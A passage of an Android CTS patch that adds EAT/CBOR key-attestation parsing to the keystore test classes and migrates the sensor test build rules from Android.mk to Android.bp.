+                    origin = CborUtils.getInt(submodMap, key);
+                    break;
+                case EatClaim.OS_VERSION:
+                    osVersion = CborUtils.getInt(submodMap, key);
+                    break;
+                case EatClaim.OS_PATCHLEVEL:
+                    osPatchLevel = CborUtils.getInt(submodMap, key);
+                    break;
+                case EatClaim.VENDOR_PATCHLEVEL:
+                    vendorPatchLevel = CborUtils.getInt(submodMap, key);
+                    break;
+                case EatClaim.BOOT_PATCHLEVEL:
+                    bootPatchLevel = CborUtils.getInt(submodMap, key);
+                    break;
+                case EatClaim.ACTIVE_DATETIME:
+                    activeDateTime = CborUtils.getDate(submodMap, key);
+                    break;
+                case EatClaim.ORIGINATION_EXPIRE_DATETIME:
+                    originationExpireDateTime = CborUtils.getDate(submodMap, key);
+                    break;
+                case EatClaim.USAGE_EXPIRE_DATETIME:
+                    usageExpireDateTime = CborUtils.getDate(submodMap, key);
+                    break;
+                case EatClaim.ROLLBACK_RESISTANT:
+                    rollbackResistant = true;
+                    break;
+                case EatClaim.ROLLBACK_RESISTANCE:
+                    rollbackResistance = true;
+                    break;
+                case EatClaim.AUTH_TIMEOUT:
+                    authTimeout = CborUtils.getInt(submodMap, key);
+                    break;
+                case EatClaim.ALLOW_WHILE_ON_BODY:
+                    allowWhileOnBody = true;
+                    break;
+                case EatClaim.EC_CURVE:
+                    ecCurve = CborUtils.getInt(submodMap, key);
+                    break;
+                case EatClaim.USER_AUTH_TYPE:
+                    userAuthType = CborUtils.getInt(submodMap, key);
+                    break;
+                case EatClaim.ATTESTATION_APPLICATION_ID:
+                    // TODO: The attestation application ID is currently still encoded as an ASN.1
+                    // structure. Parse a CBOR structure when it's available instead.
+                    attestationApplicationId = new AttestationApplicationId(
+                        Asn1Utils.getAsn1EncodableFromBytes(CborUtils.getBytes(submodMap, key)));
+                    break;
+                case EatClaim.ATTESTATION_ID_BRAND:
+                    brand = CborUtils.getString(submodMap, key);
+                    break;
+                case EatClaim.ATTESTATION_ID_DEVICE:
+                    device = CborUtils.getString(submodMap, key);
+                    break;
+                case EatClaim.ATTESTATION_ID_PRODUCT:
+                    product = CborUtils.getString(submodMap, key);
+                    break;
+                case EatClaim.ATTESTATION_ID_SERIAL:
+                    serialNumber = CborUtils.getString(submodMap, key);
+                    break;
+                case EatClaim.UEID:
+                    // TODO: Parse depending on encoding chosen in attestation_record.cpp.
+                    imei = CborUtils.getString(submodMap, key);
+                    break;
+                case EatClaim.ATTESTATION_ID_MEID:
+                    meid = CborUtils.getString(submodMap, key);
+                    break;
+                case EatClaim.ATTESTATION_ID_MANUFACTURER:
+                    manufacturer = CborUtils.getString(submodMap, key);
+                    break;
+                case EatClaim.ATTESTATION_ID_MODEL:
+                    model = CborUtils.getString(submodMap, key);
+                    break;
+                case EatClaim.USER_PRESENCE_REQUIRED:
+                    userPresenceRequired = CborUtils.getBoolean(submodMap, key);
+                    break;
+                case EatClaim.TRUSTED_CONFIRMATION_REQUIRED:
+                    confirmationRequired = true;
+                    break;
+            }
+        }
+    }
+
     public static String algorithmToString(int algorithm) {
         switch (algorithm) {
             case KM_ALGORITHM_RSA:
@@ -415,6 +540,10 @@
         }
     }
 
+    public Integer getSecurityLevel() {
+        return securityLevel;
+    }
+
     public Set<Integer> getPurposes() {
         return purposes;
     }
@@ -607,6 +736,19 @@
         return confirmationRequired;
     }
 
+    static int eatSecurityLevelToKeymasterSecurityLevel(int eatSecurityLevel) {
+        switch(eatSecurityLevel) {
+            case EatClaim.SECURITY_LEVEL_UNRESTRICTED:
+                return Attestation.KM_SECURITY_LEVEL_SOFTWARE;
+            case EatClaim.SECURITY_LEVEL_SECURE_RESTRICTED:
+                return Attestation.KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT;
+            case EatClaim.SECURITY_LEVEL_HARDWARE:
+                return Attestation.KM_SECURITY_LEVEL_STRONG_BOX;
+            default:
+                throw new RuntimeException("Invalid EAT security level: " + eatSecurityLevel);
+        }
+    }
+
     private String getStringFromAsn1Value(ASN1Primitive value) throws CertificateParsingException {
         try {
             return Asn1Utils.getStringFromAsn1OctetStreamAssumingUTF8(value);
diff --git a/tests/security/src/android/keystore/cts/CborUtils.java b/tests/security/src/android/keystore/cts/CborUtils.java
new file mode 100644
index 0000000..eeac9b5
--- /dev/null
+++ b/tests/security/src/android/keystore/cts/CborUtils.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+import co.nstant.in.cbor.model.Array;
+import co.nstant.in.cbor.model.ByteString;
+import co.nstant.in.cbor.model.DataItem;
+import co.nstant.in.cbor.model.Map;
+import co.nstant.in.cbor.model.NegativeInteger;
+import co.nstant.in.cbor.model.Number;
+import co.nstant.in.cbor.model.SimpleValue;
+import co.nstant.in.cbor.model.SimpleValueType;
+import co.nstant.in.cbor.model.UnsignedInteger;
+
+import java.nio.charset.StandardCharsets;
+
+import java.util.ArrayList;
+import java.util.Date;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+
+class CborUtils {
+    public static Number toNumber(long l) {
+        return l >= 0 ? new UnsignedInteger(l) : new NegativeInteger(l);
+    }
+
+    public static int getInt(Map map, long index) {
+        DataItem item = map.get(CborUtils.toNumber(index));
+        return ((Number) item).getValue().intValue();
+    }
+
+    public static int getInt(Map map, DataItem index) {
+        DataItem item = map.get(index);
+        return ((Number) item).getValue().intValue();
+    }
+
+    public static long getLong(Map map, DataItem index) {
+        DataItem item = map.get(index);
+        return ((Number) item).getValue().longValue();
+    }
+
+    public static Set<Integer> getIntSet(Map map, DataItem index) {
+        Array array = (Array) map.get(index);
+        Set<Integer> result = new HashSet();
+        for (DataItem item : array.getDataItems()) {
+            result.add(((Number) item).getValue().intValue());
+        }
+        return result;
+    }
+
+    public static Boolean getBoolean(Map map, DataItem index) {
+        SimpleValueType value = ((SimpleValue) map.get(index)).getSimpleValueType();
+        if (value != SimpleValueType.TRUE && value != SimpleValueType.FALSE) {
+            throw new RuntimeException("Only expecting boolean values for " + index);
+        }
+        return (value == SimpleValueType.TRUE);
+    }
+
+    public static List<Boolean> getBooleanList(Map map, DataItem index) {
+        Array array = (Array) map.get(index);
+        List<Boolean> result = new ArrayList();
+        for (DataItem item : array.getDataItems()) {
+            SimpleValueType value = ((SimpleValue) item).getSimpleValueType();
+            if (value == SimpleValueType.FALSE) {
+                result.add(false);
+            } else if (value == SimpleValueType.TRUE) {
+                result.add(true);
+            } else {
+                throw new RuntimeException("Map contains more than booleans: " + map);
+            }
+        }
+        return result;
+    }
+
+    public static Date getDate(Map map, DataItem index) {
+        DataItem item = map.get(index);
+        long epochMillis = ((Number) item).getValue().longValue();
+        return new Date(epochMillis);
+    }
+
+    public static byte[] getBytes(Map map, DataItem index) {
+        DataItem item = map.get(index);
+        return ((ByteString) item).getBytes();
+    }
+
+    public static String getString(Map map, DataItem index) {
+        byte[] bytes = getBytes(map, index);
+        return new String(bytes, StandardCharsets.UTF_8);
+    }
+}
diff --git a/tests/security/src/android/keystore/cts/EatAttestation.java b/tests/security/src/android/keystore/cts/EatAttestation.java
new file mode 100644
index 0000000..21ef0db
--- /dev/null
+++ b/tests/security/src/android/keystore/cts/EatAttestation.java
@@ -0,0 +1,183 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+import android.util.Log;
+
+import co.nstant.in.cbor.CborDecoder;
+import co.nstant.in.cbor.CborException;
+import co.nstant.in.cbor.model.DataItem;
+import co.nstant.in.cbor.model.Map;
+import co.nstant.in.cbor.model.Number;
+import co.nstant.in.cbor.model.UnicodeString;
+
+import org.bouncycastle.asn1.ASN1Encodable;
+
+import java.security.cert.CertificateParsingException;
+import java.security.cert.X509Certificate;
+import java.util.List;
+
+public class EatAttestation extends Attestation {
+    static final String TAG = "EatAttestation";
+    final Map extension;
+    final RootOfTrust rootOfTrust;
+
+    /**
+     * Constructs an {@code EatAttestation} object from the provided {@link X509Certificate},
+     * extracting the attestation data from the attestation extension.
+     *
+     * @throws CertificateParsingException if the certificate does not contain a properly-formatted
+     *     attestation extension.
+     */
+    public EatAttestation(X509Certificate x509Cert)
+            throws CertificateParsingException, CborException {
+        super(x509Cert);
+        extension = getEatExtension(x509Cert);
+
+        RootOfTrust.Builder rootOfTrustBuilder = new RootOfTrust.Builder();
+        List<Boolean> bootState = null;
+        boolean officialBuild = false;
+
+        for (DataItem key : extension.getKeys()) {
+            int keyInt = ((Number) key).getValue().intValue();
+            switch (keyInt) {
+                default:
+                    throw new CertificateParsingException(
+                            "Unknown EAT tag: " + key + "\n in EAT extension:\n" + toString());
+
+                case EatClaim.ATTESTATION_VERSION:
+                    attestationVersion = CborUtils.getInt(extension, key);
+                    break;
+                case EatClaim.KEYMASTER_VERSION:
+                    keymasterVersion = CborUtils.getInt(extension, key);
+                    break;
+                case EatClaim.SECURITY_LEVEL:
+                    keymasterSecurityLevel =
+                            eatSecurityLevelToKeymintSecurityLevel(
+                                    CborUtils.getInt(extension, key));
+                    break;
+                case EatClaim.SUBMODS:
+                    Map submods = (Map) extension.get(key);
+                    softwareEnforced =
+                            new AuthorizationList(
+                                    (Map) submods.get(new UnicodeString(EatClaim.SUBMOD_SOFTWARE)));
+                    teeEnforced =
+                            new AuthorizationList(
+                                    (Map) submods.get(new UnicodeString(EatClaim.SUBMOD_TEE)));
+                    break;
+                case EatClaim.VERIFIED_BOOT_KEY:
+                    rootOfTrustBuilder.setVerifiedBootKey(CborUtils.getBytes(extension, key));
+                    break;
+                case EatClaim.DEVICE_LOCKED:
+                    rootOfTrustBuilder.setDeviceLocked(CborUtils.getBoolean(extension, key));
+                    break;
+                case EatClaim.BOOT_STATE:
+                    bootState = CborUtils.getBooleanList(extension, key);
+                    break;
+                case EatClaim.OFFICIAL_BUILD:
+                    officialBuild = CborUtils.getBoolean(extension, key);
+                    break;
+                case EatClaim.NONCE:
+                    attestationChallenge = CborUtils.getBytes(extension, key);
+                    break;
+                case EatClaim.CTI:
+                    Log.i(TAG, "Got CTI claim: " + CborUtils.getBytes(extension, key));
+                    uniqueId = CborUtils.getBytes(extension, key);
+                    break;
+                case EatClaim.VERIFIED_BOOT_HASH:
+                    // TODO: ignored for now, as this is not checked in original ASN.1 tests
+                    break;
+            }
+        }
+
+        if (bootState != null) {
+            rootOfTrustBuilder.setVerifiedBootState(
+                    eatBootStateTypeToVerifiedBootState(bootState, officialBuild));
+        }
+        rootOfTrust = rootOfTrustBuilder.build();
+    }
+
+    /** Find the submod containing the key information, and return its security level. */
+    public int getAttestationSecurityLevel() {
+        if (teeEnforced != null && teeEnforced.getAlgorithm() != null) {
+            return teeEnforced.getSecurityLevel();
+        } else if (softwareEnforced != null && softwareEnforced.getAlgorithm() != null) {
+            return softwareEnforced.getSecurityLevel();
+        } else {
+            return -1;
+        }
+    }
+
+    public RootOfTrust getRootOfTrust() {
+        return rootOfTrust;
+    }
+
+    public String toString() {
+        return super.toString() + "\nEncoded CBOR: " + extension;
+    }
+
+    Map getEatExtension(X509Certificate x509Cert)
+            throws CertificateParsingException, CborException {
+        byte[] attestationExtensionBytes = x509Cert.getExtensionValue(Attestation.EAT_OID);
+        if (attestationExtensionBytes == null || attestationExtensionBytes.length == 0) {
+            throw new CertificateParsingException("Did not find extension with OID " + EAT_OID);
+        }
+        ASN1Encodable asn1 = Asn1Utils.getAsn1EncodableFromBytes(attestationExtensionBytes);
+        byte[] cborBytes = Asn1Utils.getByteArrayFromAsn1(asn1);
+        List<DataItem> cbor = CborDecoder.decode(cborBytes);
+        return (Map) cbor.get(0);
+    }
+
+    static int eatSecurityLevelToKeymintSecurityLevel(int eatSecurityLevel) {
+        switch (eatSecurityLevel) {
+            case EatClaim.SECURITY_LEVEL_UNRESTRICTED:
+                return Attestation.KM_SECURITY_LEVEL_SOFTWARE;
+            case EatClaim.SECURITY_LEVEL_SECURE_RESTRICTED:
+                return Attestation.KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT;
+            case EatClaim.SECURITY_LEVEL_HARDWARE:
+                return Attestation.KM_SECURITY_LEVEL_STRONG_BOX;
+            default:
+                throw new RuntimeException("Invalid EAT security level: " + eatSecurityLevel);
+        }
+    }
+
+    static int eatBootStateTypeToVerifiedBootState(List<Boolean> bootState, Boolean officialBuild) {
+        if (bootState.size() != 5) {
+            throw new RuntimeException("Boot state map has unexpected size: " + bootState.size());
+        }
+        if (bootState.get(4)) {
+            throw new RuntimeException("debug-permanent-disable must never be true: " + bootState);
+        }
+        boolean verifiedOrSelfSigned = bootState.get(0);
+        if (verifiedOrSelfSigned != bootState.get(1)
+                && verifiedOrSelfSigned != bootState.get(2)
+                && verifiedOrSelfSigned != bootState.get(3)) {
+            throw new RuntimeException("Unexpected boot state: " + bootState);
+        }
+
+        if (officialBuild) {
+            if (!verifiedOrSelfSigned) {
+                throw new AssertionError("Non-verified official build");
+            }
+            return RootOfTrust.KM_VERIFIED_BOOT_VERIFIED;
+        } else {
+            return verifiedOrSelfSigned
+                    ? RootOfTrust.KM_VERIFIED_BOOT_SELF_SIGNED
+                    : RootOfTrust.KM_VERIFIED_BOOT_UNVERIFIED;
+        }
+    }
+}
diff --git a/tests/security/src/android/keystore/cts/EatClaim.java b/tests/security/src/android/keystore/cts/EatClaim.java
new file mode 100644
index 0000000..1130037
--- /dev/null
+++ b/tests/security/src/android/keystore/cts/EatClaim.java
@@ -0,0 +1,112 @@
+package android.keystore.cts;
+
+import android.security.keymaster.KeymasterDefs;
+
+class EatClaim {
+    public static final int IAT = 6;
+    public static final int CTI = 7;
+
+    public static final int NONCE = -75008;
+    public static final int UEID = -75009;
+
+    public static final int SECURITY_LEVEL = -76002;
+    public static final int SECURITY_LEVEL_UNRESTRICTED = 1;
+    public static final int SECURITY_LEVEL_SECURE_RESTRICTED = 3;
+    public static final int SECURITY_LEVEL_HARDWARE = 4;
+
+    public static final int BOOT_STATE = -76003;
+    public static final int SUBMODS = -76000;
+
+    private static final int PRIVATE_BASE = -80000;
+
+    public static final int PURPOSE = PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_PURPOSE);
+    public static final int ALGORITHM =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ALGORITHM);
+    public static final int KEY_SIZE = PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_KEY_SIZE);
+    public static final int BLOCK_MODE =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_BLOCK_MODE);
+    public static final int DIGEST = PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_DIGEST);
+    public static final int PADDING = PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_PADDING);
+    public static final int CALLER_NONCE =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_CALLER_NONCE);
+    public static final int MIN_MAC_LENGTH =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_MIN_MAC_LENGTH);
+    public static final int KDF = PRIVATE_BASE - 9;
+
+    public static final int EC_CURVE = PRIVATE_BASE - 10;
+    public static final int EAT_EC_CURVE_P_224 = 0;
+    public static final int EAT_EC_CURVE_P_256 = 1;
+    public static final int EAT_EC_CURVE_P_384 = 2;
+    public static final int EAT_EC_CURVE_P_521 = 3;
+
+    public static final int RSA_PUBLIC_EXPONENT =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_RSA_PUBLIC_EXPONENT);
+
+    public static final int ROLLBACK_RESISTANCE = PRIVATE_BASE - 303;
+    public static final int EARLY_BOOT_ONLY = PRIVATE_BASE - 305;
+
+    public static final int ACTIVE_DATETIME =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ACTIVE_DATETIME);
+    public static final int ORIGINATION_EXPIRE_DATETIME =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ORIGINATION_EXPIRE_DATETIME);
+    public static final int USAGE_EXPIRE_DATETIME =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_USAGE_EXPIRE_DATETIME);
+
+    public static final int NO_AUTH_REQUIRED =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_NO_AUTH_REQUIRED);
+    public static final int USER_AUTH_TYPE =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_USER_AUTH_TYPE);
+    public static final int AUTH_TIMEOUT =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_AUTH_TIMEOUT);
+    public static final int ALLOW_WHILE_ON_BODY =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ALLOW_WHILE_ON_BODY);
+    public static final int USER_PRESENCE_REQUIRED = PRIVATE_BASE - 507;
+    public static final int TRUSTED_CONFIRMATION_REQUIRED =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_TRUSTED_CONFIRMATION_REQUIRED);
+    public static final int UNLOCKED_DEVICE_REQUIRED =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_UNLOCKED_DEVICE_REQUIRED);
+
+    public static final int APPLICATION_ID =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_APPLICATION_ID);
+
+    public static final int ORIGIN = PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ORIGIN);
+    // TODO: hardcoded while KeymasterDefs uses the same value for
+    // ROLLBACK_RESISTANCE and ROLLBACK_RESISTANT
+    public static final int ROLLBACK_RESISTANT = PRIVATE_BASE - 703;
+    public static final int OS_VERSION = PRIVATE_BASE - 705;
+    public static final int OS_PATCHLEVEL = PRIVATE_BASE - 706;
+    public static final int ATTESTATION_APPLICATION_ID = PRIVATE_BASE - 709;
+    public static final int ATTESTATION_ID_BRAND =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ATTESTATION_ID_BRAND);
+    public static final int ATTESTATION_ID_DEVICE =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ATTESTATION_ID_DEVICE);
+    public static final int ATTESTATION_ID_PRODUCT =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ATTESTATION_ID_PRODUCT);
+    public static final int ATTESTATION_ID_SERIAL =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ATTESTATION_ID_SERIAL);
+    public static final int ATTESTATION_ID_MEID =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ATTESTATION_ID_MEID);
+    public static final int ATTESTATION_ID_MANUFACTURER =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ATTESTATION_ID_MANUFACTURER);
+    public static final int ATTESTATION_ID_MODEL =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ATTESTATION_ID_MODEL);
+    public static final int VENDOR_PATCHLEVEL =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_VENDOR_PATCHLEVEL);
+    public static final int BOOT_PATCHLEVEL =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_BOOT_PATCHLEVEL);
+    public static final int DEVICE_UNIQUE_ATTESTATION =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_DEVICE_UNIQUE_ATTESTATION);
+    public static final int IDENTITY_CREDENTIAL_KEY = PRIVATE_BASE - 721;
+
+    private static final int NON_KM_BASE = PRIVATE_BASE - 2000;
+
+    public static final int VERIFIED_BOOT_KEY = NON_KM_BASE - 1;
+    public static final int DEVICE_LOCKED = NON_KM_BASE - 2;
+    public static final int VERIFIED_BOOT_HASH = NON_KM_BASE - 3;
+    public static final int ATTESTATION_VERSION = NON_KM_BASE - 4;
+    public static final int KEYMASTER_VERSION = NON_KM_BASE - 5;
+    public static final int OFFICIAL_BUILD = NON_KM_BASE - 6;
+
+    public static final String SUBMOD_SOFTWARE = "software";
+    public static final String SUBMOD_TEE = "tee";
+}
diff --git a/tests/security/src/android/keystore/cts/RootOfTrust.java b/tests/security/src/android/keystore/cts/RootOfTrust.java
index 99577021..a115874 100644
--- a/tests/security/src/android/keystore/cts/RootOfTrust.java
+++ b/tests/security/src/android/keystore/cts/RootOfTrust.java
@@ -51,6 +51,13 @@
                 Asn1Utils.getIntegerFromAsn1(sequence.getObjectAt(VERIFIED_BOOT_STATE_INDEX));
     }
 
+
+    RootOfTrust(byte[] verifiedBootKey, boolean deviceLocked, int verifiedBootState) {
+        this.verifiedBootKey = verifiedBootKey;
+        this.deviceLocked = deviceLocked;
+        this.verifiedBootState = verifiedBootState;
+    }
+
     public static String verifiedBootStateToString(int verifiedBootState) {
         switch (verifiedBootState) {
             case KM_VERIFIED_BOOT_VERIFIED:
@@ -82,11 +89,35 @@
     public String toString() {
         return new StringBuilder()
                 .append("\nVerified boot Key: ")
-                .append(BaseEncoding.base64().encode(verifiedBootKey))
+                .append(verifiedBootKey != null ?
+                            BaseEncoding.base64().encode(verifiedBootKey) :
+                            "null")
                 .append("\nDevice locked: ")
                 .append(deviceLocked)
                 .append("\nVerified boot state: ")
                 .append(verifiedBootStateToString(verifiedBootState))
                 .toString();
     }
+
+    public static class Builder {
+        private byte[] verifiedBootKey;
+        private boolean deviceLocked = false;
+        private int verifiedBootState = -1;
+
+        public Builder setVerifiedBootKey(byte[] verifiedBootKey) {
+            this.verifiedBootKey = verifiedBootKey;
+            return this;
+        }
+        public Builder setDeviceLocked(boolean deviceLocked) {
+            this.deviceLocked = deviceLocked;
+            return this;
+        }
+        public Builder setVerifiedBootState(int verifiedBootState) {
+            this.verifiedBootState = verifiedBootState;
+            return this;
+        }
+        public RootOfTrust build() {
+            return new RootOfTrust(verifiedBootKey, deviceLocked, verifiedBootState);
+        }
+    }
 }
diff --git a/tests/sensor/Android.bp b/tests/sensor/Android.bp
new file mode 100644
index 0000000..4930c6f
--- /dev/null
+++ b/tests/sensor/Android.bp
@@ -0,0 +1,100 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//
+// Reusable Sensor test classes and helpers
+//
+java_library {
+    name: "cts-sensors-tests",
+    defaults: ["cts_error_prone_rules_tests"],
+
+    static_libs: ["compatibility-device-util-axt"],
+
+    libs: [
+        "platform-test-annotations",
+        "android.test.base.stubs",
+    ],
+
+    sdk_version: "test_current",
+
+    srcs: ["src/**/*.java"],
+}
+
+//
+// JNI components for testing NDK
+//
+cc_library_shared {
+    name: "libcts-sensors-ndk-jni",
+
+    cflags: [
+        "-Werror",
+        "-Wall",
+        "-Wextra",
+    ],
+
+    srcs: [
+        "jni/SensorTest.cpp",
+        "jni/SensorTestCases.cpp",
+        "jni/android_hardware_cts_SensorDirectReportTest.cpp",
+        "jni/android_hardware_cts_SensorNativeTest.cpp",
+        "jni/nativeTestHelper.cpp",
+    ],
+
+    header_libs: ["jni_headers"],
+
+    shared_libs: [
+        "libandroid",
+        "liblog",
+    ],
+
+    sdk_version: "current",
+
+    stl: "c++_shared",
+}
+
+//
+// CtsSensorTestCases package
+//
+android_test {
+    name: "CtsSensorTestCases",
+    defaults: [
+        "cts_defaults",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "cts-sensors-tests",
+    ],
+
+    jni_libs: ["libcts-sensors-ndk-jni"],
+
+    sdk_version: "test_current",
+
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+
+    stl: "c++_shared",
+}
diff --git a/tests/sensor/Android.mk b/tests/sensor/Android.mk
deleted file mode 100644
index d198b04..0000000
--- a/tests/sensor/Android.mk
+++ /dev/null
@@ -1,96 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#
-# Reusable Sensor test classes and helpers
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := cts-sensors-tests
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := platform-test-annotations android.test.base.stubs
-
-LOCAL_SDK_VERSION := test_current
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
--include cts/error_prone_rules_tests.mk
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-#
-# JNI components for testing NDK
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libcts-sensors-ndk-jni
-
-LOCAL_CFLAGS += -Werror -Wall -Wextra
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := \
-    jni/SensorTest.cpp \
-    jni/SensorTestCases.cpp \
-    jni/android_hardware_cts_SensorDirectReportTest.cpp \
-    jni/android_hardware_cts_SensorNativeTest.cpp \
-    jni/nativeTestHelper.cpp
-
-LOCAL_HEADER_LIBRARIES := jni_headers
-
-LOCAL_SHARED_LIBRARIES := libandroid liblog
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_NDK_STL_VARIANT := c++_shared
--include cts/error_prone_rules_tests.mk
-include $(BUILD_SHARED_LIBRARY)
-
-#
-# CtsSensorTestCases package
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-# include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    cts-sensors-tests \
-
-LOCAL_JNI_SHARED_LIBRARIES := libcts-sensors-ndk-jni
-
-LOCAL_PACKAGE_NAME := CtsSensorTestCases
-
-LOCAL_SDK_VERSION := test_current
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_NDK_STL_VARIANT := c++_shared
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/sensor/src/android/hardware/cts/SensorTest.java b/tests/sensor/src/android/hardware/cts/SensorTest.java
index f48ed77..8b2e234 100644
--- a/tests/sensor/src/android/hardware/cts/SensorTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorTest.java
@@ -87,7 +87,8 @@
 
         mAndroidSensorList = new ArrayList<>();
         for (Sensor s : mSensorList) {
-            if (s.getType() < Sensor.TYPE_DEVICE_PRIVATE_BASE) {
+            if (s.getType() < Sensor.TYPE_DEVICE_PRIVATE_BASE &&
+                    (!context.getPackageManager().isInstantApp() || s.getType() != Sensor.TYPE_HEART_RATE)) {
                 mAndroidSensorList.add(s);
             }
         }
diff --git a/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml
index e048dc3..fb25987 100644
--- a/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml
@@ -29,5 +29,7 @@
         <option name="class" value="android.signature.cts.api.api28.test.SignatureTest" />
         <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api.gz" />
         <option name="runtime-hint" value="5s" />
+        <!-- Disable hidden API checks (http://b/171459260). -->
+        <option name="hidden-api-checks" value="false" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
index 30da659..442d96c 100644
--- a/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
@@ -29,5 +29,7 @@
